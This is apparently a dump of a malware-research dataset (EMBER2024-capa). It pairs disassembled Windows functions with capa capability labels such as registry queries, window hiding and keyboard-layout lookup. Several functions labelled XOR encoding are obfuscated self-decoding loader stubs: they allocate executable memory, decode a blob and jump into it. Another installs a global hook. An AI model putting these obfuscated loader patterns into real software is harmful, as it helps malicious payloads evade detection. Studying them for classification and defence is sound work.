joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5ba054
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc60
push ebx
xor edx, edx
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5ba1ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x44], 0
jne 0x5ba1e0
mov dl, 1
mov eax, dword [0x487f40]
call fcn.004ab2c8
mov edx, dword [ebp - 4]
mov dword [edx + 0x44], eax
mov eax, dword [ebp - 4]
add eax, 0x48
call fcn.00409700
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x5ba1cf
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00524fe8
test al, al
je 0x5ba1c2
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x398], 0
lea ecx, [ebp - 0x39c]
mov edx, 0x5ba210
lea eax, [ebp - 0x394]
call fcn.00421edc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW_1
test eax, eax
jne 0x5ba1c2
xor eax, eax
push ebp
push 0x5ba1bb
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push 0x5ba280
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x5ba1a4
lea eax, [ebp - 0x3a0]
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.0040a2e4
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
mov ebx, dword [eax]
call dword [ebx + 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x4c]
jne 0x5ba1a4
mov eax, dword [ebp - 4]
add eax, 0x48
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.0040a2e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ba1c2
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x5ba0c5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
mov byte [eax + 0x39], 0
mov dl, 1
call fcn.004ab218
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x44]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ba206
lea eax, [ebp - 0x3a0]
call fcn.00409700
ret

Function at 0x5badac
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x5f4760]
cmp byte [eax + 0xc5], 0
jne 0x5bae1e
cmp dword [0x5f4784], 0
jne 0x5badde
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, dword [0x5ed8f8]
push eax
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x5f4784], eax
cmp dword [0x5f4780], 0
jne 0x5badf9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventW
mov dword [0x5f4780], eax
cmp dword [0x5f4788], 0
jne 0x5bae1e
push esp
push 0
push 0
mov eax, dword [0x5ed8f4]
push eax
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x5f4788], eax
pop edx
ret
Function at 0x5bb240
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x5bb257
add esp, 0xfffffff0
call fcn.00407fec
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004bb984
mov eax, dword [0x5ed96c]
cmp byte [eax], 0
jne 0x5bb284
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x194], al
mov eax, dword [0x5edc9c]
cmp word [eax + 2], 0
jne 0x5bb29e
mov eax, dword [0x5edc9c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.005bd514
mov eax, dword [0x5eddcc]
cmp word [eax + 2], 0
jne 0x5bb2b8
mov eax, dword [0x5eddcc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.005bd718
mov byte [ebx + 0x41], 0
mov dl, 1
mov eax, dword [0x4ecc48]
call fcn.004f2dac
mov esi, eax
mov dword [ebx + 0x54], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x5bdc90
mov dl, 1
mov eax, dword [0x484784]
call fcn.00407950
mov dword [ebx + 0xa8], eax
mov dl, 1
mov eax, dword [0x484784]
call fcn.00407950
mov dword [ebx + 0xc8], eax
xor eax, eax
mov dword [ebx + 0x74], eax
xor eax, eax
mov dword [ebx + 0x98], eax
mov dword [ebx + 0x70], 0xff000018
mov dword [ebx + 0x8c], 0x1f4
mov byte [ebx + 0x90], 1
xor eax, eax
mov dword [ebx + 0x94], eax
mov dword [ebx + 0x88], 0x9c4
mov byte [ebx + 0x9c], 0
mov byte [ebx + 0xbd], 1
mov byte [ebx + 0xd4], 1
mov dl, 1
mov eax, dword [0x4f1670]
call fcn.004fc3bc
mov esi, eax
mov dword [ebx + 0xb8], esi
push 0x5bb4a0
mov eax, dword [0x5edb50]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.004fc854
mov eax, dword [ebx + 0xb8]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x5bdf78
mov dl, 1
mov eax, dword [0x484784]
call fcn.00407950
mov dword [ebx + 0xb0], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x5edb50]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.00421cdc
test eax, eax
je 0x5bb3d2
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.00421b18
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00421cc0
test eax, eax
je 0x5bb3ea
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0xa4]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.0040a2e4
push ebx
push 0x5bcef0
call fcn.005b0934
mov dword [ebx + 0x190], eax
mov byte [ebx + 0xe8], 0
mov eax, dword [0x5ed96c]
cmp byte [eax], 0
jne 0x5bb43b
mov eax, ebx
call fcn.005bb684
mov byte [ebx + 0x6d], 1
mov byte [ebx + 0x6e], 1
mov byte [ebx + 0x6f], 1
mov byte [ebx + 0xbe], 1
mov byte [ebx + 0xe9], 0
mov byte [ebx + 0xf4], 0
xor eax, eax
mov dword [ebx + 0xec], eax
mov byte [ebx + 0xeb], 0
xor eax, eax
mov dword [ebx + 0xc0], eax
mov eax, ebx
call fcn.005be1b0
mov eax, ebx
call fcn.005bee1c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x5bb498
call fcn.00408044
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5bb9c8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x188]
test eax, eax
je 0x5bba6a
cmp dword [ebx + 0xac], 0
jne 0x5bba64
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x5bb904
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0xa8]
cmp dword [eax + 8], 0
je 0x5bba64
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x5bba2a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0xa8]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x5bba64
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0xa8]
call fcn.004a6968
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x5bba39
inc dword [ebx + 0xac]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x5bbca8
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov ebx, edx
mov esi, eax
mov eax, dword [0x5f4760]
cmp dword [eax + 0x188], 0
je 0x5bbe22
test bl, bl
jne 0x5bbd6d
cmp dword [esi + 0xb4], 0
jne 0x5bbd62
mov eax, esi
call fcn.005bec6c
push eax
push 0x5bbb9c
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x58], 0
je 0x5bbd33
mov eax, dword [0x5f4760]
cmp byte [eax + 0xeb], 0
je 0x5bbd33
mov eax, dword [esi + 0xf0]
mov dword [esp], eax
mov eax, dword [esp]
test eax, eax
je 0x5bbd14
sub eax, 4
mov eax, dword [eax]
mov edi, eax
dec edi
cmp edi, 0
jl 0x5bbd33
push 0
mov eax, dword [esi + 0xf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x5bbd1c
mov eax, dword [esi + 0xb0]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x5bbd62
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0xb0]
call fcn.004a6968
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x5bbd42
inc dword [esi + 0xb4]
jmp 0x5bbe22
cmp dword [esi + 0xb4], 0
jle 0x5bbe22
dec dword [esi + 0xb4]
cmp dword [esi + 0xb4], 0
jne 0x5bbe22
cmp dword [esi + 0x58], 0
je 0x5bbdd7
mov eax, dword [0x5f4760]
cmp byte [eax + 0xeb], 0
je 0x5bbdd7
mov eax, dword [esi + 0xf0]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
test eax, eax
je 0x5bbdb8
sub eax, 4
mov eax, dword [eax]
mov edi, eax
dec edi
cmp edi, 0
jl 0x5bbdd7
push 5
mov eax, dword [esi + 0xf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x5bbdc0
mov eax, dword [esi + 0xb0]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x5bbe06
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0xb0]
call fcn.004a6968
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x5bbde6
mov eax, dword [esi + 0xb0]
mov edx, dword [eax]
call dword [edx + 8]
lea eax, [esi + 0xf0]
mov edx, dword [0x5ad794]
call fcn.0040b7e0
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x5bca7c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffe00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xc4], 0
je 0x5bcad9
cmp byte [ebx + 0xeb], 0
jne 0x5bcad9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x188]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00409888
mov eax, dword [esi]
test eax, eax
je 0x5bcac6
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x5bcae6
mov eax, esi
mov edx, dword [ebx + 0xa4]
call fcn.00409ae0
jmp 0x5bcae6
mov eax, esi
mov edx, dword [ebx + 0xa4]
call fcn.00409ae0
add esp, 0x200
pop esi
pop ebx
ret

Function at 0x5be398
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x98]
test esi, esi
je 0x5be409
mov eax, esi
call fcn.0051eb24
test al, al
je 0x5be409
mov eax, dword [ebx + 0x98]
call fcn.0051e754
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x5be409
mov eax, dword [ebx + 0x98]
mov edx, dword [eax]
call dword [edx + 0x118]
test al, al
je 0x5be3fa
push 0
mov eax, dword [ebx + 0x98]
call fcn.0051e754
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x98]
call fcn.00515398
jmp 0x5be409
mov cl, 1
mov edx, dword [ebx + 0x88]
mov eax, ebx
call fcn.005be1d0
pop esi
pop ebx
ret
Function at 0x10008ec6
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10008f28
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, ecx
test edx, edx
jne 0x10008f38
push 0xd
pop eax
jmp 0x10008f6e
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008f44
sub ecx, ebp
lea eax, [ecx + 1]
add edi, eax
add esi, eax
cmp eax, 1
jne 0x10008f3f
push esi
push edx
push 7
push 0
push dword [esp + 0x24]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x1000bb8b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000bb9a
pop dword [ebp - 0x14]
mov eax, 0xa0107aca
sub eax, 0x900fbf30
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x358ea
push 0
mov eax, 0xfa3ebf52
add eax, 0x15c211b6
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x40ba
xor ebx, ebx
add ebx, eax
mov edx, 0xd1e51088
sub edx, 0xc1e2fc88
add edx, dword [ebp - 0x14]
mov edi, 0xa4ad9cac
sub edi, 0xde825bed
xor dword [ebp - 8], ebx
mov esi, dword [edx]
xor dword [ebp - 0xc], edx
add esi, edi
xor dword [ebp - 0xc], 0xac9ad8c5
mov dword [ebx], esi
sub dword [ebp - 0xc], edx
add ebx, 0xed0681fb
add ebx, 0x12f97e09
add edx, 4
loop 0x1000bbf5
add eax, 0x5aede0ad
add eax, 0xa513150e
mov ebx, eax
add eax, 0xc93c80b8
add eax, 0x36c37f4d
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4021f0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x148
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x144], eax
push ebp
mov ebp, dword [esp + 0x154]
push esi
push edi
push 0x104
lea eax, [esp + 0x50]
push 0
push eax
call fcn.00404c50
mov eax, dword [esp + 0x164]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
sub eax, 1
je 0x4022b0
sub eax, 1
je 0x40229e
sub eax, 1
jne 0x402300
lea ecx, [esp + 0x4c]
push ecx
push eax
push eax
push 0x23
push eax
call fcn.00403140
add esp, 0x14
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x40226c
mov byte [esp + eax + 0x4c], 0x5c
mov byte [esp + eax + 0x4d], 0
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402300
mov byte [ebp], 0
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.00404c23
add esp, 0x148
ret
lea ecx, [esp + 0x4c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x402254
push 0x104
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x4022d4
mov byte [esp + eax + 0x4c], 0x5c
inc eax
lea esi, [esp + eax + 0x4c]
push str.Temp
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402280
push 0x40b28c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.2403021558227603055791068
call edi
dec eax
cmp eax, 8
jl 0x402284
mov al, byte [eax + str.2403021558227603055791068]
cmp al, 0x30
jl 0x402284
cmp al, 0x39
jg 0x402284
movsx esi, al
sub esi, 0x30
and esi, reloc.WS2_32.dll_closesocket
jns 0x40233a
dec esi
or esi, 0xfffffffc
inc esi
push str.2403021558227603055791068
add esi, 4
call edi
sub eax, esi
dec eax
xor ecx, ecx
lea eax, [eax + str.2403021558227603055791068]
nop
mov dl, byte [eax]
test dl, dl
je 0x4023b5
test esi, esi
jle 0x4023b5
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xc], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023aa
test esi, esi
jle 0x4023aa
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xd], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023ad
test esi, esi
jle 0x4023ad
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xe], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023b2
test esi, esi
jle 0x4023b2
add dl, dl
inc dl
mov byte [esp + ecx + 0xf], dl
add ecx, 4
dec esi
inc eax
cmp ecx, 0x40
jb 0x402350
jmp 0x4023b5
inc ecx
jmp 0x4023b5
add ecx, 2
jmp 0x4023b5
add ecx, 3
mov byte [esp + ecx + 0xc], 0x2e
push 0x40b288
lea ecx, [esp + ecx + 0x11]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x4c]
push edx
call edi
mov ecx, 0x104
sub ecx, eax
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x54]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [esp + eax + 0x54]
push ecx
call esi
push 0x103
lea edx, [esp + 0x50]
push edx
push ebp
call esi
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.00404c23
add esp, 0x148
ret
Function at 0x1002edbf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1002edce
pop dword [ebp - 0xc]
mov eax, 0x6cf93006
sub eax, 0x5cf64238
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xa7bd0563
sub dword [ebp - 0x1c], 0x596ac018
mov dword [ebp - 0x18], 0x4db69ca2
add dword [ebp - 0x18], 0xe47cafa3
mov dword [ebp - 0x14], 0xfc3e05e9
sub dword [ebp - 0x14], 0xaff1c1bb
mov dword [ebp - 0x10], 0x69a99bb4
sub dword [ebp - 0x10], 0x69a99bb4
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xc2a8e23b
add dword [ebp - 0x1c], 0xb1c9871b
mov dword [ebp - 0x18], 0x4b9501a4
add dword [ebp - 0x18], 0xf5d75fd1
mov dword [ebp - 0x14], 0x1a94f83c
sub dword [ebp - 0x14], 0xb7258bd0
mov dword [ebp - 0x10], 0xbea3f5f3
add dword [ebp - 0x10], 0x415c0a0d
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xb39e0532
sub eax, 0xa39936ae
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3b1f7
push 0
call eax
mov ecx, 0x78c2e95
sub ecx, 0x78bf91c
xor esi, esi
add esi, eax
mov edi, 0x1005b400
add edi, dword [ebp - 0xc]
mov edx, 0xc0f863dd
sub edx, 0xff43fde3
add dword [ebp - 8], 0x14075a0a
mov ebx, dword [edi]
sub dword [ebp - 8], ecx
add ebx, edx
sub dword [ebp - 8], edx
mov dword [esi], ebx
xor dword [ebp - 4], edx
add esi, 0xf70d9225
add esi, 0x8f26ddf
add edi, 4
loop 0x1002eee7
add eax, 0x628e215e
add eax, 0x9d72a759
mov ebx, eax
add eax, 0x7545738a
sub eax, 0x75457385
mov ecx, sym.libEGL.dll_Ordinal_0
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1001dc93
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1001dca2
pop dword [ebp - 0x10]
mov eax, 0x1001dca2
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x4b533e2
add dword [ebp - 0x20], 0x499d1169
mov dword [ebp - 0x1c], 0xe46e4674
add dword [ebp - 0x1c], 0x4dc505d1
mov dword [ebp - 0x18], 0x2a7c4775
add dword [ebp - 0x18], 0x21cffcb9
mov dword [ebp - 0x14], 0x1c7c9e6d
add dword [ebp - 0x14], 0xe3836193
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xd239db89
add dword [ebp - 0x20], 0xa2388dcd
mov dword [ebp - 0x1c], 0xc51b7be7
sub dword [ebp - 0x1c], 0x83af1a72
mov dword [ebp - 0x18], 0xd3cac9bd
sub dword [ebp - 0x18], 0x705b5d51
mov dword [ebp - 0x14], 0x678ef339
add dword [ebp - 0x14], 0x98710cc7
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x34e90
push 0
call eax
mov ecx, 0x310413ce
sub ecx, 0x3103d8ad
xor edx, edx
add edx, eax
mov edi, 0x10031c00
add edi, dword [ebp - 0x10]
mov esi, 0xc59e7b95
sub esi, 0x1748d60
xor dword [ebp - 8], 0xa10b67a7
mov ebx, dword [edi]
mov dword [ebp - 4], 0x396af6ed
add ebx, esi
mov dword [ebp - 4], 0xa6cdfaf3
mov dword [edx], ebx
add dword [ebp - 0xc], ebx
add edx, 0xda6e8733
sub edx, 0xda6e872f
add edi, 0xec2631c6
add edi, 0x13d9ce3e
loop 0x1001ddb1
add eax, 0xc768d1b3
sub eax, 0xc767f25c
mov ebx, eax
add eax, 0x5973af0d
add eax, 0xa68c50f8
mov ecx, 0xbc73801
sub ecx, 0xfbc73801
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x1001deb6
Capabilities:
Hide graphical window

Disassembly:
push edi
mov edi, dword [esp + 8]
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [edi + 0x289c]
cdq
sub eax, edx
sar eax, 1
push 1
mov dword [edi + 0x292c], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [edi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [edi + 0x2930], eax
mov eax, dword [edi + 0x2d50]
test eax, eax
je 0x1001df26
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x28a0]
push dword [edi + 0x289c]
push dword [edi + 0x2930]
push dword [edi + 0x292c]
push dword [edi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push edi
call fcn.1001df2f
pop ecx
pop edi
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x403e59
pop dword [ebp - 0x50]
mov eax, 0x68659a65
add eax, 0x97daa3f4
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x7685decf
sub dword [ebp - 0x60], 0x28339984
mov dword [ebp - 0x5c], 0xd28f465a
add dword [ebp - 0x5c], 0x5fa405eb
mov dword [ebp - 0x58], 0xb74ee63f
add dword [ebp - 0x58], 0x94fd5def
mov dword [ebp - 0x54], 0x4ab80ffa
sub dword [ebp - 0x54], 0x4ab80ffa
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xb9cb1864
add dword [ebp - 0x60], 0xbaa750f2
mov dword [ebp - 0x5c], 0x5c7023d2
sub dword [ebp - 0x5c], 0x1b03c25d
mov dword [ebp - 0x58], 0x7ae8ae5f
sub dword [ebp - 0x58], 0x177941f3
mov dword [ebp - 0x54], 0x9b270084
sub dword [ebp - 0x54], 0x9b270084
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xc7c9a92c
sub eax, 0xc7893884
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3a941
push 0
call eax
mov ecx, 0xb029b6ad
add ecx, 0x4fd6a0a6
xor esi, esi
add esi, eax
mov edi, 0xa98e0f60
add edi, 0x56b2f0a0
add edi, dword [ebp - 0x50]
mov edx, 0x407d4104
add edx, 0x2b285b0c
add dword [ebp - 8], ebx
mov ebx, dword [edi]
xor dword [ebp - 0x28], 0x647ec7b9
xor ebx, edx
xor dword [ebp - 0x18], 0xd4a9c85
mov dword [esi], ebx
sub dword [ebp - 0x40], 0x9b6ed268
add esi, 0x524dc521
sub esi, 0x524dc51d
add edi, 0x840879be
add edi, 0x7bf78646
loop 0x403f78
add eax, 0x1501f
xor ebx, ebx
add ebx, eax
add eax, 0x47d53c6f
sub eax, 0x47d53c6a
mov ecx, 0xff42092
sub ecx, 0xfb42092
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x403090
Capabilities:
Accept command line arguments

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42e3a5
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x30
mov eax, dword [0x442014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x40], esi
mov eax, dword [esi + 0x70]
test eax, eax
je 0x403281
cmp word [eax], 0
je 0x403281
lea ecx, [ebp - 0x34]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x34], 1
jl 0x403281
mov edx, dword [eax]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403120
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.00401ee0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0
je 0x403279
mov edx, 0x43be7c
lea ecx, [ebp - 0x30]
call fcn.004038d0
test al, al
jne 0x40316c
mov edx, 0x43be84
lea ecx, [ebp - 0x30]
call fcn.004038d0
test al, al
je 0x403170
mov byte [esi + 0x7c], 1
mov edx, 0x43be8c
lea ecx, [ebp - 0x30]
xor edi, edi
call fcn.004038d0
test al, al
je 0x40318d
mov edi, 0x50c8
jmp 0x40325a
mov edx, str.zhTW
lea ecx, [ebp - 0x30]
call fcn.004038d0
test al, al
je 0x4031a8
mov edi, 0x2828
jmp 0x40325a
mov edx, str.zhCN
lea ecx, [ebp - 0x30]
call fcn.004038d0
test al, al
je 0x4031c3
mov edi, 0x5028
jmp 0x40325a
mov edx, 0x43beac
lea ecx, [ebp - 0x30]
call fcn.004038d0
test al, al
je 0x4031db
mov edi, 0x5104
jmp 0x40325a
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 1
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x18]
push eax
push 0x43bed8
push 0x17
push 0
push 0x4307e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x403236
mov eax, dword [ebp - 0x18]
push dword [ebp - 0x3c]
mov ecx, dword [eax]
mov esi, dword [ecx + 0x38]
lea ecx, [ebp - 0x38]
push ecx
push eax
mov ecx, esi
call dword [0x4301a4]
call esi
test eax, eax
cmove edi, dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40325a
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x4301a4]
call esi
mov eax, 0xcccccccd
xor ecx, ecx
mul edi
